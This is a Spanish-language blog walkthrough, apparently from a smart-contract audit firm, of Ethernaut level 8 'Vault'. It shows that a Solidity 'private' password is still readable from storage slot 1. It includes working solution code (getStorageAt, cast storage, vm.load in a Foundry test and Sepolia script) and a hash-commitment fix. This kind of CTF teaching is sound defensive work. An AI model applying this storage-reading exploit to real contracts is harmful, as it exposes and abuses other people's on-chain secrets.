← Volver al blog
Mike B. - SecLat Security14 de septiembre de 2026

Ethernaut Level 8 Walkthrough: Leyendo Storage Privado en Solidity

En este artículo analizaremos y resolveremos el reto número 8 de Ethernaut: **Vault**.

Tiempo de lectura: ~7 min

Este nivel parece inquebrantable a primera vista: una contraseña vive detrás de una variable de estado private, y la única función que la usa simplemente la compara contra lo que le pases. No hay getter, no hay filtración en el ABI, nada que la pestaña "Read Contract" de un block explorer te vaya a mostrar. La contraseña queda expuesta de todos modos, porque private es un concepto exclusivo de Solidity. No significa nada a nivel de la EVM.

Además de resolver el reto, también entenderemos:

  • Qué restringe realmente private, y qué no restringe
  • Cómo distribuye Solidity las variables de estado en slots de storage
  • Cómo leer el storage crudo de cualquier contrato directamente desde un nodo RPC
  • Por qué "es privado" nunca es un control de seguridad en una blockchain pública

Descripción del Reto

El contrato Vault almacena una contraseña definida una sola vez en su constructor, y expone una única función, unlock, que compara un valor recibido contra ella. Si coinciden, el vault pasa de bloqueado a desbloqueado.

El objetivo del reto es:

Desbloquear el vault.

Clasificación de la Vulnerabilidad

CategoríaValor
Vulnerabilidad:Dato sensible almacenado en storage plano y legible
Causa Raíz:private solo bloquea que otros contratos llamen a un getter; no cifra ni oculta el slot de storage subyacente
Impacto:Divulgación total de un secreto pensado para proteger una acción privilegiada
Severidad:Crítica para cualquier protocolo que trate el storage on-chain como confidencial
Tipo de Ataque:Lectura directa de slot de storage

Análisis del Contrato Vulnerable

Este es el contrato vulnerable utilizado en el reto:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Vault {
    bool public locked;
    bytes32 private password;

    constructor(bytes32 _password) {
        locked = true;
        password = _password;
    }

    function unlock(bytes32 _password) public {
        if (password == _password) {
            locked = false;
        }
    }
}

Causa Raíz de la Vulnerabilidad

La vulnerabilidad no es un error de programación en el sentido tradicional. Vault hace exactamente lo que un desarrollador esperaría para "esconder" un valor:

bytes32 private password;

private hace exactamente una cosa en Solidity: impide que otros contratos, y cualquier código fuera de este contrato, lean password mediante una llamada a nivel de Solidity o un getter autogenerado. Es una regla de visibilidad que impone el compilador, nada más.

No dice nada sobre la Ethereum Virtual Machine. El storage de cada contrato vive en un conjunto de slots numerados de 32 bytes, y esos datos forman parte del estado público de la blockchain. Cualquier full node, cualquier proveedor de RPC, cualquier block explorer puede devolver el contenido crudo de cualquier slot para cualquier contrato, sin permiso especial y sin ejecutar código.

Vault declara dos variables de estado, en orden:

  1. bool public locked; → ocupa el slot 0
  2. bytes32 private password; → ocupa el slot 1

El slot 1 contiene exactamente los 32 bytes que se pasaron al constructor. Leerlo de vuelta no es un exploit contra la lógica de Vault. Es una lectura directa de un dato que nunca fue realmente confidencial.

La lección aquí es directa:

private e internal son palabras clave de control de acceso para el código Solidity. No son cifrado, y no ofrecen ninguna confidencialidad frente a alguien que inspeccione la cadena directamente.

Entendiendo el Layout de Storage en Solidity

  1. Solidity asigna las variables de estado de cada contrato a slots secuenciales de 32 bytes, empezando en el slot 0, en el orden en que fueron declaradas.
  2. Los tipos simples menores a 32 bytes pueden empaquetarse juntos en un mismo slot si caben, pero bool locked aquí ocupa su propio slot, porque la siguiente variable, bytes32, necesita un slot completo y las reglas de empaquetado no las fusionan en este layout.
  3. password, declarada justo después de locked, cae en el slot 1.
  4. Este layout es determinístico y está completamente especificado por el compilador de Solidity. Cualquiera que conozca (o lea) el código fuente del contrato puede calcular exactamente qué slot guarda qué variable.
  5. Leer cualquier slot de cualquier contrato es una operación RPC de primera clase, eth_getStorageAt, que no requiere autenticación y no dispara ejecución de código en el contrato objetivo.
Layout de storage del contrato Vault
Slot 0 -> bool    locked    (empaquetado solo: la siguiente var necesita slot completo)
Slot 1 -> bytes32 password  (el valor "privado", completamente legible)

Atacante / cualquiera
   |
   | eth_getStorageAt(direccion_vault, 1)
   v
32 bytes crudos devueltos directamente por el nodo RPC
   |
   v
Ese valor ES la contraseña. No hace falta ninguna llamada al contrato.

Que variables de estado private se filtren mediante lectura directa de storage no es una curiosidad aislada. Es una clase de bug bien documentada detrás de incidentes reales, donde proyectos guardaron secretos de esquemas commit-reveal, semillas de whitelist, o incluso claves de cifrado directamente en el storage del contrato, asumiendo que los modificadores de visibilidad ofrecían una confidencialidad que nunca proveyeron.

¿Por Qué la Privacidad On-Chain es una Ilusión?

  • private e internal protegen el ABI, no la cadena. Impiden que MiContrato(target).password() compile, e impiden que un contrato heredado lea silenciosamente una variable del padre que no debería. Ninguna de las dos restricciones sobrevive a una lectura directa de storage.
  • Todo lo escrito en storage es público para siempre, incluidos valores sobrescritos después. Incluso después de que password cambie, el valor anterior sigue siendo recuperable del estado histórico vía un nodo archive.
  • Empaquetar variables no agrega seguridad. Varias variables pequeñas compartiendo un slot son igual de legibles; solo necesitas enmascarar el rango de bytes correcto después de leer el slot.
  • La única primitiva real para el secreto on-chain es la criptografía, no la visibilidad. Los esquemas commit-reveal, los hashes, y el cómputo off-chain con verificación on-chain (incluyendo pruebas de conocimiento cero) son las herramientas reales para mantener un valor confidencial mientras sigue siendo verificable on-chain.

Estrategia del Ataque

Sabemos que:

  1. unlock(_password) compara su argumento contra password usando ==, sin rate limiting ni control de acceso sobre la comparación misma.
  2. password vive en el slot de storage 1, por ser la segunda variable de estado declarada.
  3. El storage es un dato público de la cadena, legible vía eth_getStorageAt sin importar la palabra clave private de Solidity.

Nuestra estrategia:

  1. Leer directamente el slot de storage 1 de la instancia de Vault desde el nodo RPC.
  2. Ese valor es la contraseña, en su forma exacta bytes32.
  3. Llamar a unlock(password) desde nuestra propia cuenta con el valor que acabamos de leer.
  4. locked pasa a false. No se necesita ningún contrato atacante, ni ninguna transacción más allá de una llamada de función normal.

Solución

Este nivel no requiere desplegar un contrato atacante. Todo el exploit consiste en una lectura de storage seguida de una llamada directa.

Desde la consola del navegador, conectada a la instancia de Ethernaut:

const password = await web3.eth.getStorageAt(contract.address, 1);
await contract.unlock(password);

await contract.locked();

La misma lectura desde una terminal, usando cast de Foundry:

cast storage <DIRECCION_INSTANCIA_VAULT> 1 --rpc-url $SEPOLIA_RPC

Y el equivalente dentro de un test o script de Foundry, usando el cheatcode vm.load:

bytes32 password = vm.load(address(instance), bytes32(uint256(1)));
instance.unlock(password);

Cómo Funciona el Exploit

Primero, identificamos qué slot guarda password. Vault declara locked (slot 0) y luego password (slot 1), así que no hay nada que adivinar, solo leer el código fuente del propio contrato.

Luego, consultamos ese slot directamente. vm.load (en Foundry) y eth_getStorageAt (a nivel de RPC) hacen lo mismo: devuelven los 32 bytes crudos almacenados en ese slot para esa dirección, saltándose por completo las reglas de visibilidad de Solidity, porque esas reglas nunca existieron a este nivel.

Después, llamamos a unlock, pasando exactamente los bytes que acabamos de leer como _password. Dentro del contrato, password == _password se evalúa como verdadero, ya que suministramos el valor real almacenado.

Finalmente, locked se fija en false. La condición de victoria del nivel, !instance.locked(), queda satisfecha, sin que la contraseña "privada" haya estado protegida en ningún momento frente a alguien dispuesto a leer el estado crudo de la cadena.

Validando el Exploit con Foundry

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import {Utils} from "test/utils/Utils.sol";
import {Vault} from "src/levels/Vault.sol";
import {VaultFactory} from "src/levels/VaultFactory.sol";
import {Level} from "src/levels/base/Level.sol";
import {Ethernaut} from "src/Ethernaut.sol";

contract TestVault_L8 is Test, Utils {
    Ethernaut ethernaut;
    Vault instance;

    address payable owner;
    address payable player;

    function setUp() public {
        address payable[] memory users = createUsers(2);

        owner = users[0];
        vm.label(owner, "Owner");

        player = users[1];
        vm.label(player, "Player");

        vm.startPrank(owner);
        ethernaut = getEthernautWithStatsProxy(owner);
        VaultFactory factory = new VaultFactory();
        ethernaut.registerLevel(Level(address(factory)));
        vm.stopPrank();

        vm.startPrank(player);
        instance = Vault(payable(createLevelInstance(ethernaut, Level(address(factory)), 0.001 ether)));
        vm.stopPrank();
    }

    function testInit() public {
        vm.startPrank(player);
        assertFalse(submitLevelInstance(ethernaut, address(instance)));
        vm.stopPrank();
    }

    function testSolve() public {
        vm.startPrank(player);

        // password se declara private, pero "private" solo restringe el
        // acceso a nivel de Solidity. El storage es dato público on-chain:
        // el slot 0 guarda locked (bool), el slot 1 guarda password (bytes32).
        bytes32 password = vm.load(address(instance), bytes32(uint256(1)));
        instance.unlock(password);

        assertFalse(instance.locked());
        assertTrue(submitLevelInstance(ethernaut, address(instance)));

        vm.stopPrank();
    }
}

Ejecutando el Test

source .env
forge test --match-path test/Solutions/Vault_L8.t.sol --match-test testSolve --fork-url $SEPOLIA_RPC -vvv

Asegúrate de que .env defina SEPOLIA_RPC y, para el script en vivo de abajo, PK. Nunca subas .env a control de versiones.

Resolviendo el Nivel en Sepolia

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import {Script} from "forge-std/Script.sol";
import {Vault} from "src/levels/Vault.sol";
import {console} from "forge-std/console.sol";

contract VaultScript is Script {
    Vault public target;

    function setUp() public {
        target = Vault(payable("0xYourEthernautInstance"));
    }

    function run() public {
        uint256 pk = vm.envUint("PK"); // Private Key desde .env para firmar la Tx

        // password es private en Solidity, no en storage. El slot 0 guarda
        // locked (bool), el slot 1 guarda password (bytes32). vm.load lee
        // el storage crudo directamente desde el RPC, sin control de acceso.
        bytes32 password = vm.load(address(target), bytes32(uint256(1)));

        vm.startBroadcast(pk);
        target.unlock(password);
        vm.stopBroadcast();

        console.log("Vault locked:", target.locked());
    }
}

Ejecutando el Script

source .env
forge script scripts/Vault.s.sol --rpc-url $SEPOLIA_RPC

Una vez que el dry run compile sin errores y hayas reemplazado 0xYourEthernautInstance con la dirección real de tu instancia, envíalo a la red:

forge script scripts/Vault.s.sol --rpc-url $SEPOLIA_RPC --broadcast --interactives 1 -vvv

Cómo Prevenir la Exposición de Secretos en Storage

El patrón vulnerable es guardar un secreto en storage plano y confiar en private para la confidencialidad:

// Vulnerable: password vive en storage plano y legible
bytes32 private password;

function unlock(bytes32 _password) public {
    if (password == _password) {
        locked = false;
    }
}

La solución es nunca asumir que la visibilidad de Solidity oculta datos on-chain. Si un valor debe proteger una acción y verificarse on-chain, guarda un compromiso (commitment) sobre él en lugar del valor mismo, y verifica la revelación de forma criptográfica:

// Corregido: guarda un hash de compromiso, nunca el secreto en sí
bytes32 private passwordHash;

constructor(bytes32 _passwordHash) {
    passwordHash = _passwordHash; // calculado off-chain como keccak256(password)
    locked = true;
}

function unlock(bytes32 _password) public {
    require(keccak256(abi.encodePacked(_password)) == passwordHash, "wrong password");
    locked = false;
}

Esto sigue filtrando la contraseña en el momento en que se llama a unlock con ella, porque el calldata también es público, pero elimina la exposición permanente de guardar el valor crudo antes de que siquiera se use. Para cualquier cosa que deba permanecer confidencial incluso durante su uso, el storage on-chain es directamente la herramienta equivocada; ahí entran los esquemas commit-reveal con un retraso de tiempo, la firma off-chain con verificación on-chain, o las pruebas de conocimiento cero que permiten a un contrato verificar una afirmación sin ver jamás el secreto subyacente.

Lecciones Aprendidas

  • private e internal son conceptos del compilador de Solidity. Restringen qué pueden llamar otros contratos, no qué es visible en la blockchain.
  • Cada byte escrito en el storage de un contrato es público, permanentemente, y legible por cualquiera con acceso RPC, sin herramientas especiales.
  • El orden de los slots de storage está completamente determinado por el orden de declaración de las variables, lo que convierte la localización de cualquier valor específico en cuestión de leer el código fuente, no de adivinar.
  • Si un valor debe ser genuinamente confidencial, no lo pongas en el storage del contrato en absoluto. Usa hashing, commit-reveal, o secretos off-chain con verificación on-chain.
  • Los auditores deben marcar cualquier variable de estado private o internal cuya confidencialidad el modelo de seguridad del protocolo realmente dé por sentada.

Conclusión

El nivel 8 de Ethernaut enseña una lección con la que tropiezan los desarrolladores nuevos en cómo funcionan realmente las blockchains públicas: no existe tal cosa como un valor privado en el storage de un contrato. La contraseña de Vault nunca estuvo protegida, simplemente estaba formateada como podría estarlo una columna de base de datos llamada "password", y se trató como si ese formato conllevara las mismas garantías que el control de acceso de una base de datos.

Cualquier protocolo que almacene secretos, datos de whitelist, o compromisos aún no revelados en el storage de un contrato debe asumir que ese dato es público desde el momento en que se escribe. Este walkthrough cubrió:

  • Qué restringen realmente private e internal, y qué no
  • Cómo asigna Solidity las variables de estado a slots de storage
  • Cómo leer el storage crudo de un contrato directamente, con cast, vm.load, o eth_getStorageAt
  • Cómo defenderse de esto con compromisos hash en lugar de secretos crudos

Si estás construyendo o revisando contratos que almacenan algo que debe permanecer confidencial, esto es exactamente el tipo de suposición que ponemos a prueba en una auditoría profesional.


Encuentra más walkthroughs de Ethernaut en el blog de SECLAT.

¿Necesitas una auditoría de seguridad para tus smart contracts? Habla con SECLAT.

SECLAT - Security & Audit

SECLAT - Expertos en seguridad blockchain y auditorías de contratos inteligentes.

Estadísticas Clave

200+
Contratos Auditados
0
Incidentes Críticos
20+
Clientes Satisfechos
$100M+
Protegidos

Contactanos

Si buscas una auditoría de seguridad o una consulta, Contactanos.

© 2026 SECLAT Security. Todos los derechos reservados.